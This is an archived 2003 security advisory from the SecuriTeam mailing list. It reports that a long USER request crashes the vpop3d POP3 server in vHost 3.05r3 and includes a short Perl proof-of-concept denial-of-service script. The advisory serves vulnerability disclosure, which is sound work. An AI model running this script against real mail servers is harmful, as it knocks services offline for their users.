[UNIX] vHost Denial of Service Attack (USER)
From: SecuriTeam (support_at_securiteam.com)
Date: 08/24/03
- Previous message: SecuriTeam: "[NEWS] Vonage VOIP 3-way call CID Spoofing Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 24 Aug 2003 18:10:23 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
vHost Denial of Service Attack (USER)
------------------------------------------------------------------------
SUMMARY
<http://chaogic.com/vhost/> vHost is "a one-step solution for all virtual
hosting needs". A DoS on the vpop3d server can be caused by using a
lengthy USER request.
DETAILS
Vulnerable systems:
* vHost version 3.05r3
Once send the vHost product with a large USER string it gives this message
after 5mins or so "-ERR POP3 Server Abnormal Shutdown: Timeout waiting for
command from client". After which no more connections will be possible to
the vHost product.
Exploit:
#!/usr/bin/perl
#vpop3d Denial Of Service..
#Proof of Concept script..
#Deadbeat, uk2sec..
#e: deadbeat@sdf.lonestar.org
#e: daniels@legend.co.uk
use IO::Socket;
$host = $ARGV[0];
$port = $ARGV[1];
if(!$ARGV[1]){
die "usage: perl $0 <host> <port>\n";
}
$dos = "%s%s"x5000;
$req = "USER $dos";
$sox = IO::Socket::INET->new(
Proto=>"tcp",
PeerPort=>$port,
PeerAddr=>$host
)or die "can't connect to $host : $port\n";
sleep 2;
print $sox $dos;
sleep 1;
print "done..vpop3d should lock now :)\n";
ADDITIONAL INFORMATION
The information has been provided by <mailto:deadbeat@sdf.lonestar.org>
Daniel.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NEWS] Vonage VOIP 3-way call CID Spoofing Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
